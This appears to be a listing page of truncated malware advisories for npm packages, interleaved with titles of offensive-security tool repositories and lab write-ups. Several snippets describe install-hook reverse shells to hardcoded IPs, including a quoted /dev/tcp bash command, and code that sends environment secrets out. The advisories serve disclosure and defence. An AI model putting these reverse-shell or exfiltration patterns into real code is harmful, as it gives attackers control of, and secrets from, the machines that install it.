Malicious code in strapi-plugin-ccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5c91c798c5a3429b252f74193e2a84c6406347ced8fa9010bdd7d338af5c8797 The package's postinstall lifecycle script scripts.postinstall: node postinstall.js unconditionally invokes /bin/bash with an interactive reverse-she...

MAL-2026-16180 Malicious code in strapi-plugin-ccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5c91c798c5a3429b252f74193e2a84c6406347ced8fa9010bdd7d338af5c8797 The package's postinstall lifecycle script scripts.postinstall: node postinstall.js unconditionally invokes /bin/bash with an interactive reverse-she...

MSC-2026-11619

This package has been identified by Mend as containing potential malicious functionality. The severity of the functionality can change depending on where the library is running user's machine or backend server. The following risks were identified: • Contacting external host – this package sends...

SaadStrike

💀 SaadStrike ███████╗ █████╗ █████╗ ██████╗ ███████...

Framework

🔒 Pentest Framework !Pythonhttps://img.shields.io/badge/Py...

Malicious code in @nimbusedge/auth (npm)

Source: amazon-inspector a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885 package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the hardcoded host 147.93.157.202 on port 8080, and pipes the shel...

Malicious code in @nimbusedge/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885 package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the...

MAL-2026-16132 Malicious code in @nimbusedge/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885 package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the...

ImpactSword

ImpactSword – Red Team Edition ImpactSword is an offensive se...

XSS2Shell-CVE-2026-64638

🔍 @Mr-LeonardoGomes 💀 XSS2Shell-CVE-2026-64638 Escáner multiobjetivo XSS2Shell Desarrollador: Crédito: YogaGymn Utilidad PoC/escaneo para pruebas de seguridad autorizadas en WordPress. El proyecto contiene un flujo de explotación para un único objetivo y un modo solo escaneo multiobjetivo...

MSC-2026-11603

This package has been identified by Mend as containing potential malicious functionality. The severity of the functionality can change depending on where the library is running user's machine or backend server. The following risks were identified: Remote reverse shell – this package enables acces...

MSC-2026-11588

This package has been identified by Mend as containing potential malicious functionality. The severity of the functionality can change depending on where the library is running user's machine or backend server. The following risks were identified: Remote reverse shell – this package enables acces...

MSC-2026-11590

This package has been identified by Mend as containing potential malicious functionality. The severity of the functionality can change depending on where the library is running user's machine or backend server. The following risks were identified: • Contacting external host – this package sends...

Malicious code in discord-vibegrations-api-natives (npm)

Source: amazon-inspector 9cb64ecc29aa68ec4659bab280f4ffd2c3de889cc966c0974f85b0c488edc603 On npm install, the package's postinstall.js opens a TCP socket to 5.tcp.eu.ngrok.io:15496 and pipes the socket's bytes into the stdin of a spawned sh process, with the shell's stdout/stderr piped back to th...

cve-2025-32433_rce_exploit

Erlang/OTP SSH – CVE-2025-32433 Laboratorio TryHackMe ⚠️ Solo para uso educativo Este proyecto es estrictamente para aprendizaje y práctica en el laboratorio de la sala oficial de TryHackMe: https://tryhackme.com/room/erlangotpsshcve202532433 No uses esta herramienta contra sistemas que no poseas ...

Exploit for Uncontrolled Resource Consumption in Siemens 6Bk1602-0Aa12-0Tp0_Firmware

Log4Shell Exploitation Lab CVE-2021-44228 Reproduced the Lo...

htb-labs-connected

HTB: Connected - Staff Pick English | Español 📋 Table of Contents 1. Enumeration 2. Exploitation - CVE-2025-57819 3. Reverse Shell 4. Privilege Escalation 5. Flags 6. Repository Structure 7. Scripts and Tools Used 8. Attack Summary 9. Resources and Credits 10. Additional Notes 1. Enumeration 1.1...

Malicious code in peertube-plugin-video-views-counter (npm)

Source: amazon-inspector f62f93ab1a8cfa1b153c8075e6463d3351c16a49779615556c7ee2fc909fdcde plugin.js contains a top-level IIFE that spawns bash with a /dev/tcp reverse-shell loop to the hardcoded host 45.137.222.44:4444, detached and unref'd, executing whenever PeerTube loads the plugin module. Th...

Malicious code in 2nestjs (npm)

Source: amazon-inspector c9471c1fdd6ae99da48e44b8588f9e36814ce2859f2d25641b06cc53cf42174d The package's postinstall hook executes index.js, which enumerates process.env, filters keys matching /^SECRET|API|TOKEN|KEY/, JSON-serializes the matched values, and writes them over a raw TCP socket to the...

MAL-2026-15911 Malicious code in 2nestjs (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9471c1fdd6ae99da48e44b8588f9e36814ce2859f2d25641b06cc53cf42174d The package's postinstall hook executes index.js, which enumerates process.env, filters keys matching /^SECRET|API|TOKEN|KEY/, JSON-serializes the...